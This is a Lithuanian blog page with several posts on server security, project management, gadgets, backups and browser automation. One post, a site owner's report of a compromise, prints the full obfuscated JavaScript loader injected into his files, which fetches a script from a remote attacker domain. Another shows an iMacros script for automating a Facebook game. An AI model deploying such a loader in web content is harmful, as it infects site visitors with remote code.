Patiko? Prenumeruok el. paštu

Denyhosts – apsaugome ssh nuo įsibrovėlių

Kol tavo kompiuteris nėra tiesiogiai pajungtas prie Interneto tol nejauti kokie dažni yra bandymai įsilaužti į jį. Žinoma dažniausiai tokie bandymai būna akli, pagal nustatytus scenarijus bandoma ieškoti skylių žinomuose programose/skriptuose ir pan. Turint serverį atakos taip pat yra labai dažnos. Galbūt vienos dažniausios tai atakos brute force tipo, kurios bando atspėti vartotojo vardą, bei slaptažodį. Dėl to visų pirma rekomenduotina neleisti prisijungti apskritai root vartotojui, taip sumažinant prisijungimo galimybes. Dar vienas rekomenduotinas būdas yra blokuoti blogiukus. Tai visai gražiai atlieka denyhosts skriptukas, kuris po tarkim 10 blogo slaptažodžio įvedimo blokuoja tolesnę galimybę prisijungti.  Instaliuoti gana paprasta tiek CentOs, tiek Debian ar kituose operacinėse sistemose.  Paprastai į dieną atsiranda bent keletą naujų blokuojamų IP adersų.

ActiveCollab – patogus projektų valdymas

Viena iš sėkmingų, bet kokio biznio paslapčių yra paprasčiausias darbų planavimas bei efektyvus valdymas. Kol darbų yra mažai, kad ant rankų suskaičiuoti problemų nėra, bet augant bendradarbių kiekiui ir darbų apimtims atsiranda poreikis darbų įrankiams (programoms). Kadangi pats dirbu jau daugelį metų su web projektais, tai visa tai bus iš Internetinių projektų varpinės.

Esu išbandęs ne vieną projektų valdymų sistema, tiek pats kūręs ar adaptavęs, bet tikrai dar neradau pakankamai idealios. Kaip visuomet, vienuose trūksta funkcionalumo, kitos tiesiog visiškai nepatogios arba viskas remiasi į kainą.

Šiuo metu į mano akiratį pateko projektas pavadinu activeCollab projektų valdymo sistema ir aš ja pakankamai sužavėtas.

Kaip ir priklauso pirmas, bet kokių darbų skirstymas yra klientas (firma). Kiekvienam klientui gali būti priskiriami atsakingi asmenys ir jie priskiriami prie tos firmų projekto(ų). Kaip ir suprantama klientas gali turėti neribojamą kiekį projektų. Na o su projekto valdymui skiriami įvairiausi naudingi moduliai.

  • Užduotys (Checklist). Paprasčiausia užduotis, kuri gali būti išskaidyta į mažas sub užduotis.  Bent man susidarė vaizdas, kad jis turi mažiausią panaudojimą. Nebent sudaromas mini patikrinimo testas, kurį reikia patikrinti prieš realizuojant kokį nors žingsnį (patikrinti a,b,c,d … atlikti x,y,z)
  • Daug rimtesnis yra Tickets. Jį galima naudoti tiek bugtrack, tiek naujų užduočių skyrimui. Kiekvienas ticketas gali turėti ir smulkesnes užduotis, bei gali būti komentuojama, prisegami failai ir pan.
  • Jei naudojate versijavimo sistemas padės  ir Sources (Subversion) moduliukas, kuris integruotas į šią sistemą. Vienas gražiausių dalykų, kad komentuojant  commitus automatiškai susiejama su ticetais, milestonai ir pan. Tereikia teisingai komentuoti. (Complete Ticket #121, Ticket 343: Fixing email sending bug ir pan)
  • Visi atliekami darbai gali būti registruojami ir sugaišto laiko duomenys ir to gaunasi paprastas TimeSheet moduliukas.
  • Pagal atliktus darbus, klientui galima išrašyti Sąskaitas faktūras (Invoice) modulyje. Standartinis sąskaitų išrašymas nėra stiprus kol kas (bent ne tokį įsivaizduoju), bet visuomet galima išplėsti pačiam ar atlikti tai rankiniu būdu. Formuojant sąskaitą už atliktus darbus paprasčiausia viskas susumuojama. Kartais norisi pateikti detaliau.
  • Visai gerai integruotas El. pašto modulis, kuris automatiškai tikrina el. paštą. Gavus laišką į pagalba@projektas.lt jo turinys priskiriama kaip užduotis specialiam projektui. (Kiekvienam projektui reikės naudoti atskirą projektą). O Gavus el. laiško užduotis, paprasčiausiai galima padaryti replay ir gauti komentarą tiesiai į sistemą.
  • Kaip gi projektai be Milestone. Jiems galima priskirti užduotis, ticketus, diskusijas, failus ir kitus modulius.
  • Kiti naudingi moduliai yra diskusijos, puslapiai, failai, kalendorius ir dar keletas kitų kaip vartotojų teisės
  • Kadangi ši sistema bus talpinama pas jus – jus ja galėsite naudotis neribotai, neribojamas kiekis projektų, užduočių ir t.t.

Iki idealaus sprendimo dar trūksta daugiau svarbių dalykų kaip pavyzdžiui resursų valdymas ir pan. Bet tai gali būti praplečiama patiems tiek kuriant naujus modulius (jūs turite visus modulius) ar tiesiog naudojantis sistemos API. Yra keletą jau realizuotų papildymų iš trečių šalių – Billings, Planning module (resursų planavimas), bet kaip suprantate jie irgi mokami

Bekalbant apie gerąsias savybes reikia paminėti ir trūkumą. Kadangi tai komercinis produktas jis kainuoja. Jei jūsų firma dirba su projektais ir neturi projektų valdymo sistemos manau galėtų skirti 499$ už licenziją. Asmeninių projektų naudojimui šiek tiek per brangu.

Login 2010

Kartais norisi nueiti į kokią rimtesnę konferenciją pasisemti naujų idėjų bei minčių, bet dažniausiai tokias mintis nutraukia skaičiukai aprašymo gale nurodantys tos konferencijos/seminaro kainą. Galima tik pasidžiaugti, kad jau keletą metų vystosi konferencija Login ir ji yra pakankamai aukšto lygio. Palyginus bilieto kainą (tik 50LT) bei pranešimų kiekį gaunasi tikrai aukštas koeficientas, ypač kai žinai, kad didžiosiose Lietuvos konferencijos persunkta savireklama į vienus vartus. Nesakau, kad čia to nebus, bet to tikrai bus mažiau.

Tikrai rekomenduočiau pirmiau peržvelgti pranešėjus, kurių yra tikrai rimtų ir renginio programą. Nepamiškite to parodyti savo draugams, kurie domisi tarkim rinkodara, turi savo firmeles – manau jie turėtų susidomėti nes turinio turėsim tikrai naudingo.

Be savo srities profesionalų galėsim pasiklausti entuziastingų tinklaraštininkų trumpus pranešimus ar verslo idėjų sklaidą “Mini BarCamp”

Manau, kad iki susitikimo Siemens arenoje kovo 18d.

Vakstybės credo – žlugdyk smulkujį verslą

Norėčiau pasveikinti mūsų valdžią kurios credo tampa – sužlugdykim smulkųjį verslą. Štai keli:

  • Individualios įmonės sąvininkas privalo uždirbti, ben minimumą.
  • Jei jūs esate ne PVM mokėtojas, bet užsisakote ar suteikiate paslaugas užsienio PVM mokėtojui – automatiškai tampate PVM mokėtojas. PVZ užsisakote google adwords – tampi PVM mokėtojas, gauni dotaciją kokią išvažiuoti į užsienį – tampi PVM mokėtoju (bo viešbučiai, autobusai, traukiniai tikrai bus PVM mokėtojai)

P.S. yra ir daugiau… tik reikia gilintis

Ačiū, gal reikia paremti valstybę tik idėjiškai?

Apple iPad – peraugęs iPhone

Apple pristatė savo naująjį ale “nišinį” gaminį kuris turėtų būti tarp telefono bei kompiuterio. Susigulėjus mintims po vakarykščio galima teigti kelias mintis, beveik neminintis grožio kas matyt aprašyme ir prezentacijose.

  • Jis yra tiesiog peraugęs iphone su visais iphone privalumais ir trūkumais
  • Pasirinkimas daryti iphone based nėra visiškai sveikintinas dalykas. Programos kurtos mažam ekranui, tikrai neatrodys patraukliai. Tiesiog turi būti atskira programų rinka šitam žaisliukui, anksčiau ar vėliau tai susiklostys…
  • Tokia ekrano erdvė ir nėra multitaskingo? Dar ant iphone kažkiek suprantu, bet tokio tipo aparate jis privalo būti. Naršau svetainėje, tad tikrai noriu pažiūrėti staigiai paštą ar twiterį ir vėl grįžti prie ankstesnio darbo.
  • Jei jį naudoti darbui programų tekstams/prezentacijoms ir nėra bendrai prieinamos failų sistemos tai tikrai FAIL. Juk noriu aš bet kada lengvai prisegti, bet kokį dokumentą (bet kokio tipo) prie laiško, o ne tik taip kaip apple numatė.
  • Ekranas galėtų būti labiau wildscreen, tada tikrai būtų tinkamesnis filmų peržiūrai
  • Jungtys… ir vėl minimalizmas. Turėdamas tokį įrenginį norėčiau įkelti nuotraukas per USB ar SD kortelę :). Juk taip gražiai parodė savo nuotraukų programą
  • Neminint elementarių trūkumų žavi naršymo smagumas, galimybės e-laikraščiams ir e-žurnalams.
  • Ar norėčiau turėti? Tikrai taip. O pirkti? Smarkiai abejoju, bent tikrai ne šios kartos jį tikrai dar reikia stipriai patobulinti. Tikrai tikėjausi labiau WOW ir galingesnio funkcionalumo.

Pigus duomenų bazės kopijų saugojimas

Turbūt daugelis žino, kad atsarginių kopijų turėjimas yra svarbus – ypač verslo sektoriuje. Vieni iš svarbiausių duomenų yra saugojami duomenų bazėse (ji daug dinamiškesnė), tad jų atsargines kopijas reikia darytis daug dažniau nei failų sistemoje.

Duomenų bazės (mysql) galima padaryti paprastu cronjob scriptu:

mysqldump -uVartotojas -pSlaptazodis LentelesVardas | gzip > /path/to/backup/vardas-$(date +%Y-%m-%d-%H.%M.%S).gz

Tokių kopijų darymas ne visuomet yra saugus. Saugiausia atsargines kopijas saugoti nuotoliniame serveryje. Nuotolinio serveriui išlaikyti irgi reikalingi pinigai, tad jei jūsų duomenų bazė nėra didelė galima paprasčiausiai atsarginę kopiją nusiųsti el. paštu.
Tai jums padės paprastas programėlė kurią galite parsisiųsti iš backup2mail.com. Jei jūs turite paprasčiausią hostingą serveriai.lt (asmeninis/verslas) tai jus ja pasinaudoti nepavyks, kadangi yra apribojimai tam tikrom komandoms.

Kur geriausia siūsti atsargines kopijas? Kodėl gi neišnaudojus Gmail el. pašto dėžutės? Dar ir dabar turiu virš septynių gigabaitų laisvos vietos, o atsarginė kopija kuri ateina užima tik pusę megabaito.

HP PhotoSmart spaudintuvai namų ūkiui

Į mano rankas pateko du panašūs spausdintuvai iš HP PhotoSmart serijos rašalinius spausdintuvus “HP PhotoSmart with Wireless” (1) bei “HP PhotoSmart Plus” (2). Abiejų spausdintuvų savybės ganėtinai panašios, kadangi jos iš tos pačios šeimos

  • Kaip ir daugelis “ALL in One” – Spausdina / Skenuoja / Kopijuoja
  • Valdymas su lietimui ekranu.
    Tiesa pas pirmą printerį ekraniukas yra mažesnis ir dėl to prarandamas dalis patogumo.
    HP PhotoSmart Plus – 6.1cm, HP PhotoSmart withWirless –
    3.68 akivaizdus skirtumas.
  • Spausdintuve galima naudoti atminties korteles. Įdėjus kortelę galima peržiūrėt nuotraukas ir pasirinktas atspausdinti.  Yra galimybė nuotraukas paredaguoti – tarkim pašalinti raudonų akių efektą.
  • O jei norite, galite tiesiog nuskenuoti informaciją į atminties kortelę. Tam jums jau nereikės kompiuterio.
  • Pas abu spausdintuvus  yra Wifi, kuris gali būti įdiegiamas vienu mygtuko paspaudimu
    Tiesa tai pavyksta tik tam tikrom sąlygomis – turi būti routeriukas WPS su Push mygtuku. O paprastiems mirtingiesiems konfigūravimas tik pajungus laidą
  • Naudojami atskirų spalvų rašalo kasetės. Dėl to galima sutaupyti perkant atskiras spalvos kasetes nei vieną bendrą.
  • Turi Quick Forms su kuriomis galima greitai atsispausdint įvairias formas: kalendorius, atmintinė ar net sudoku
  • Jei turite tarkim iPhone telefoną tai jūs galite atspausdinti nuotraukas tiesiai iš jo. Tiesa jums reikės atsisiųsti programą iš apple app store parduotuvės.
  • Su įdiegta programine įranga galima ne tik kopijuoti ar skenuoti, bet ir atpažinti tekstą lape.
    Žinoma dar yra papildoma programinė įranga nuotraukoms tvarkyti.
  • Draiveriai tiek Windows, Linux, MacosX opercinėms sistemos.

TimeEdition – lengvai valdoma statistika apie jūsų darbą

Vienas iš metodų apmokestinti klientą yra valandinis įkainis ir kiekvienam skirtingam darbui dažnai taikomas skirtingas įkainis. Tokia apmokėjimo sistema gali būti taikoma tiek programavimo, dizaino ar tarkim advokatūros, teisininko paslaugoms. Paprastai (jei pasirašyta sutartis) gale mėnesio siunčiama ataskaita apie suteiktas paslaugas ir pagal ją išrašoma sąskaita faktūra.

Vienas iš paprasčiausių būdų tai realizuoti – naudoti kokią nors programinę įrangą. Visai neseniai atradau Time Edition.  Trumpai apie savybes:

  • Ji veikia Windows, MacOsX, Linux sistemai.
  • Kiekvienas darbas skirstomas pagal tris lygmenis: klientas, kliento projektas, užduotys
  • Užduotys yra bendros visiems klientams/projektams tik norimus galima paslėpti. Kiekviena užduotis turi jūsų numatytą valandinį įkainį.
  • Ataskaitos yra gan paprastos, kurios gali būti filtruojamos pagal minėtus tris lygmenis bei laiko intervalą. Norimą ataskaitą galima tiesiog eksportuoti ir taip paruošti gražią ataskaitą klientui
  • Susiejimas su iCal, Outlook bei Google kalendoriumi

Dažnai pradedantiems laisvai samdomiems programuotojams iškyla klausimas kiek apmokestinti savo darbą. O atsakymas paprastas: praleistą laiką (ar planuojamą) darbui padauginate iš savo nustatyto įkainio ir gaunate tinkamą darbui sumą.

Vienas sunkiausių dalykų tokiuose sistemose – pripratimas ir disciplina. Jei nedirbate komandoje, tokia paprasta programa – pagalbininkė yra tikras lobis. Skanaus naudojimo.

Jei pas jus įsilaužė į svetainę

Šiandien užsukęs į savo svetainę pamačiau, kad ji neveikia. Kadangi aš prieš tai tikrai nieko nekenčiau. Prisijungęs prie serverio per FTP pastebėjau, kad įterptas failo gale kodas:

/*GNU GPL*/ try{window.onload = function(){var Xs1ya4t7ajb13i = document.createElement(’script’);Xs1ya4t7ajb13i.setAttribute(‘type’, ‘text/javascript’);Xs1ya4t7ajb13i.setAttribute(‘id’, ‘myscript1′);Xs1ya4t7ajb13i.setAttribute(’src’,  ‘h^#!#t^^^#t)@p(!!:($^/#$^/#)#@o@@($r#))^k#!^u$&)t!#&-))c#^!!o@&)m@)$-####b$$r)#.$t&&a@b&(n^$(a!#k^.$(#!i)r)^$.@(l!$i(@t&&$e^r$^&o#t!&)i)&)c#&a$&&-@#)c$#!o)(^@#m)$&(.#i$#n&(n&&e&w!$)t$&e@r@!(r#@&((a#(.#!&r&#u&$#:(@&8)^!0&8$@)0!/($!g#)$(o&#@o^!g!)l$&^e^@.#!c#)(n(/^$g!(!o!^&o@#&@g)l^#(#e&^@.$^$&c!^)n(/!$(g!o^)&!o@g&(!l$(!!e&@&$.#&c(($o&)m&#)/$(^h^&))a^!o!1&(2^##3#.&&#(c#!&o&m(#/)^&i@@s@@&)t)^^)o((!c$k&(@!p##h#)@o(t)^#o^&.^&!c)#o^!m@$/$@#’.replace(/&|\(|#|\!|\)|\^|\$|@/ig, ”));Xs1ya4t7ajb13i.setAttribute(‘defer’, ‘defer’);document.body.appendChild(Xs1ya4t7ajb13i);}} catch(e) {}

Ir toks pakeitimas tikrai ne vienas, pakeista virš 2000 failų. Atakuojami failai (*.js, index.php(phtml|html|htm), main.php(phtml|html|htm). Visą failų sąrašą galima gauti pas adminus.

Gavęs sąrašą failų iš admino matosi, kad buvo panaudotas vos ne visas BOT tinklas, nes prisijungimai buvo daromi daugiau ne 10 (tingiu skaičiuoti) kompiuterių iš skirtingų tinklų.

Ką tokiu atveju daryti?

  • Visų pirma pasikeisti FTP slaptažodžius
  • Žinoma, naikinti kodus (nesmagus užsiėmimas)
  • Pasitikrinti virusus savo kompe (ar ten kur yra jūsų prisijungimai)
  • Ką dar siūlote?

Išnaudokime automatinį veiksmų vykdymą

Automatinius veiksmus naršyklėje galima išnaudoti web programų/puslapių testavimui, nustatytų veiksmų eigos vykdymas ar tarkim simuliuoti žaidimų veiksmus (cheatinti)

Viena iš sunkiausių užduočių kuriant bet kokią programinę įrangą (tas pats yra ir web svetaines) yra testavimas. Priklausomai nuo poreikių testuojama tiek rankiniu tiek automatiniu būdu, O tai kartu yra ir sudėtingas ir monotoninis darbas. Automatinis testavimas žymiai pagreitina ir supaprastina visą testavimo procesą.

Bet kurio testavimo esmė gauti teisingus rezultatus su kontroliniais duomenimis. Tai gali vykti tiek programiniame lygmenyje (į kurį veltis dabar nesiruošiame), tiek interfeiso. Tarkim jums reikia ištestuoti e-parduotuvės pirkimo mechanizmą. Papildžius e-parduotuvę papildomais moduliais (ar atnaujinus tam tikrus programinius kodus) rezultatas turi nesikeisti, paprastai tariant neturi sugriūti sistema. Tad automatinis skriptas įdeda į krepšelį nustatytas prekes, patenka į krepšelį ir jį patvirtina ir taip nueinama iki pat galutinio atsiskaitymo. Jei visi kontroliniai punktai teisingi – vadinasi viskas veikia teisingai.

Keletą programų pasižaidimui veikiančių firefox naršyklėje: SeleniumiMacros .

Kaip pavyzdį pateiksiu kuo tai naudinga paprastam vartotojui su iMacros (iš facebook’e žaidimo  Startfleet Commander). Tarkim yra galimybė, kas tris minutes atlikti misiją resursams rinti. Pats optimaliausias būdas surinkti kuo daugiau resursų – vykdyti kuo daugiau misijų. Pasinaudojus tokia programa galima pasidaryti programėlę

VERSION BUILD=6251204 RECORDER=FX
TAB T=1
FRAME F=2
TAG POS=44 TYPE=SPAN ATTR=TXT:Start
TAG POS=44 TYPE=SPAN ATTR=TXT:Start
TAG POS=44 TYPE=SPAN ATTR=TXT:Start
TAG POS=44 TYPE=SPAN ATTR=TXT:Start
TAG POS=44 TYPE=SPAN ATTR=TXT:Start
TAG POS=44 TYPE=SPAN ATTR=TXT:Start
TAG POS=44 TYPE=SPAN ATTR=TXT:Start
WAIT SECONDS = 160

Tarkim ši programėlė paspaudžia tą patį mygtuką 7 kartus ir palaukia reikiamą sekundžių kiekį. Paleidus programėlę ciklu gauname norimą efektą. Paleidžiame atskiram ir einam pailsėt, pramogauti ar paprasčiausiai dirbam tai ką reikia :)